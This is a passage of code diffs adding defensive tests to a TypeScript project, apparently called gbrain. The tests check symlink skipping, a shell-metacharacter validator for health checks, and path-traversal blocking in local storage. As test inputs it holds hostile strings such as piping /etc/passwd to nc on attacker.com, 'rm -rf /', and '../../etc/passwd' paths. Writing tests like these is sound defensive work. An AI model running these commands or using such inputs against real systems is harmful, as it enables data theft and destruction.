symlinkSync('/etc/passwd', join(tmpDir, 'evil.txt'));
const files = collectFiles(tmpDir);
expect(files.map(f => basename(f))).toContain('real.txt');
expect(files.map(f => basename(f))).not.toContain('evil.txt');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('collectFiles skips broken symlinks', () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-broken-'));
try {
writeFileSync(join(tmpDir, 'real.txt'), 'content');
symlinkSync('/nonexistent/path', join(tmpDir, 'broken.txt'));
const files = collectFiles(tmpDir);
expect(files.map(f => basename(f))).toContain('real.txt');
expect(files.map(f => basename(f))).not.toContain('broken.txt');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('collectFiles skips node_modules', () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-nodemod-'));
try {
mkdirSync(join(tmpDir, 'node_modules'));
writeFileSync(join(tmpDir, 'node_modules', 'pkg.js'), 'x');
writeFileSync(join(tmpDir, 'real.txt'), 'content');
const files = collectFiles(tmpDir);
expect(files.map(f => basename(f))).toContain('real.txt');
expect(files.map(f => basename(f))).not.toContain('pkg.js');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
});

View File

@@ -1,5 +1,5 @@
import { describe, test, expect, beforeAll } from 'bun:test';
import { parseRecipe } from '../src/commands/integrations.ts';
import { parseRecipe, isUnsafeHealthCheck, expandVars, executeHealthCheck } from '../src/commands/integrations.ts';
// --- parseRecipe tests ---
@@ -282,4 +282,170 @@ describe('all recipes', () => {
expect(content).not.toMatch(personalPatterns);
}
});
test('typed health_checks parse correctly in all recipes', () => {
const { readFileSync, readdirSync } = require('fs');
const { resolve } = require('path');
const recipesDir = new URL('../recipes/', import.meta.url).pathname;
const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
for (const file of files) {
const content = readFileSync(resolve(recipesDir, file), 'utf-8');
const recipe = parseRecipe(content, file);
expect(recipe).not.toBeNull();
for (const check of recipe!.frontmatter.health_checks) {
if (typeof check === 'string') {
// String health checks are deprecated but still valid
expect(typeof check).toBe('string');
} else {
// Typed checks must have a valid type
expect(['http', 'env_exists', 'command', 'any_of']).toContain((check as any).type);
}
}
}
});
});
// --- isUnsafeHealthCheck tests ---
describe('isUnsafeHealthCheck', () => {
test('allows simple commands', () => {
expect(isUnsafeHealthCheck('echo ok')).toBe(false);
expect(isUnsafeHealthCheck('curl -s https://api.example.com/health')).toBe(false);
expect(isUnsafeHealthCheck('which git')).toBe(false);
expect(isUnsafeHealthCheck('python3 --version')).toBe(false);
});
test('blocks shell chaining operators', () => {
expect(isUnsafeHealthCheck('echo ok; rm -rf /')).toBe(true);
expect(isUnsafeHealthCheck('echo ok && curl attacker.com')).toBe(true);
expect(isUnsafeHealthCheck('echo ok & bg-process')).toBe(true);
expect(isUnsafeHealthCheck('cat /etc/passwd | nc attacker.com 4444')).toBe(true);
});
test('blocks command substitution', () => {
expect(isUnsafeHealthCheck('echo $(whoami)')).toBe(true);
expect(isUnsafeHealthCheck('echo `id`')).toBe(true);
});
test('blocks subshell and brace expansion', () => {
expect(isUnsafeHealthCheck('(curl attacker.com)')).toBe(true);
expect(isUnsafeHealthCheck('{echo,/etc/passwd}')).toBe(true);
});
test('blocks redirect and newline injection', () => {
expect(isUnsafeHealthCheck('echo ok > /dev/null')).toBe(true);
expect(isUnsafeHealthCheck('echo ok < /etc/passwd')).toBe(true);
expect(isUnsafeHealthCheck('echo ok\ncurl attacker.com')).toBe(true);
});
});
// --- expandVars tests ---
describe('expandVars', () => {
test('expands known env vars', () => {
process.env.TEST_VAR_A = 'hello';
expect(expandVars('prefix-$TEST_VAR_A-suffix')).toBe('prefix-hello-suffix');
delete process.env.TEST_VAR_A;
});
test('replaces unknown vars with empty string', () => {
delete process.env.NONEXISTENT_VAR_XYZ;
expect(expandVars('$NONEXISTENT_VAR_XYZ')).toBe('');
});
test('handles multiple vars', () => {
process.env.TEST_A = 'one';
process.env.TEST_B = 'two';
expect(expandVars('$TEST_A and $TEST_B')).toBe('one and two');
delete process.env.TEST_A;
delete process.env.TEST_B;
});
test('leaves strings without vars unchanged', () => {
expect(expandVars('https://example.com/path')).toBe('https://example.com/path');
});
});
// --- executeHealthCheck tests ---
describe('executeHealthCheck', () => {
test('env_exists returns ok when env var is set', async () => {
process.env.TEST_HC_VAR = 'present';
const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_VAR', label: 'Test' }, 'test-id', true);
expect(result.status).toBe('ok');
expect(result.output).toContain('set');
delete process.env.TEST_HC_VAR;
});
test('env_exists returns fail when env var is missing', async () => {
delete process.env.TEST_HC_MISSING;
const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_MISSING' }, 'test-id', true);
expect(result.status).toBe('fail');
expect(result.output).toContain('NOT SET');
});
test('command returns ok for exit 0', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true cmd' }, 'test-id', true);
expect(result.status).toBe('ok');
});
test('command returns fail for exit 1', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['false'], label: 'false cmd' }, 'test-id', true);
expect(result.status).toBe('fail');
});
test('any_of returns ok if first check passes', async () => {
process.env.TEST_ANYOF = 'yes';
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_ANYOF' },
{ type: 'env_exists', name: 'NONEXISTENT' },
],
}, 'test-id', true);
expect(result.status).toBe('ok');
delete process.env.TEST_ANYOF;
});
test('any_of returns ok if second check passes', async () => {
delete process.env.TEST_FIRST;
process.env.TEST_SECOND = 'yes';
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_FIRST' },
{ type: 'env_exists', name: 'TEST_SECOND' },
],
}, 'test-id', true);
expect(result.status).toBe('ok');
delete process.env.TEST_SECOND;
});
test('any_of returns fail if all checks fail', async () => {
delete process.env.TEST_NONE_A;
delete process.env.TEST_NONE_B;
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_NONE_A' },
{ type: 'env_exists', name: 'TEST_NONE_B' },
],
}, 'test-id', true);
expect(result.status).toBe('fail');
});
test('string health_check blocks unsafe metacharacters for non-embedded', async () => {
const result = await executeHealthCheck('echo ok; rm -rf /', 'test-id', false);
expect(result.status).toBe('blocked');
expect(result.output).toContain('unsafe shell characters');
});
test('string health_check runs for embedded recipes', async () => {
const result = await executeHealthCheck('echo hello-world', 'test-id', true);
expect(result.status).toBe('ok');
expect(result.output).toContain('hello-world');
});
});

View File

@@ -75,6 +75,73 @@ describe('LocalStorage', () => {
});
});
// --- Path traversal containment ---
describe('LocalStorage path traversal', () => {
test('blocks upload path traversal via ../', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await expect(storage.upload('../../etc/evil', Buffer.from('pwned'))).rejects.toThrow('Path traversal blocked');
await expect(storage.upload('../sibling/file', Buffer.from('x'))).rejects.toThrow('Path traversal blocked');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('blocks download path traversal via ../', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await expect(storage.download('../../etc/passwd')).rejects.toThrow('Path traversal blocked');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('blocks delete path traversal via ../', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await expect(storage.delete('../../../tmp/important')).rejects.toThrow('Path traversal blocked');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('blocks list path traversal via ../', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await expect(storage.list('../../etc')).rejects.toThrow('Path traversal blocked');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('blocks getUrl path traversal via ../', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await expect(storage.getUrl('../../etc/passwd')).rejects.toThrow('Path traversal blocked');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
test('allows legitimate nested paths', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-traversal-'));
try {
const storage = new LocalStorage(tmpDir);
await storage.upload('pages/people/elon/avatar.png', Buffer.from('img'));
const data = await storage.download('pages/people/elon/avatar.png');
expect(data.toString()).toBe('img');
} finally {
rmSync(tmpDir, { recursive: true });
}
});
});
describe('createStorage', () => {
test('creates LocalStorage for backend: local', async () => {
const tmpDir = mkdtempSync(join(tmpdir(), 'gbrain-factory-test-'));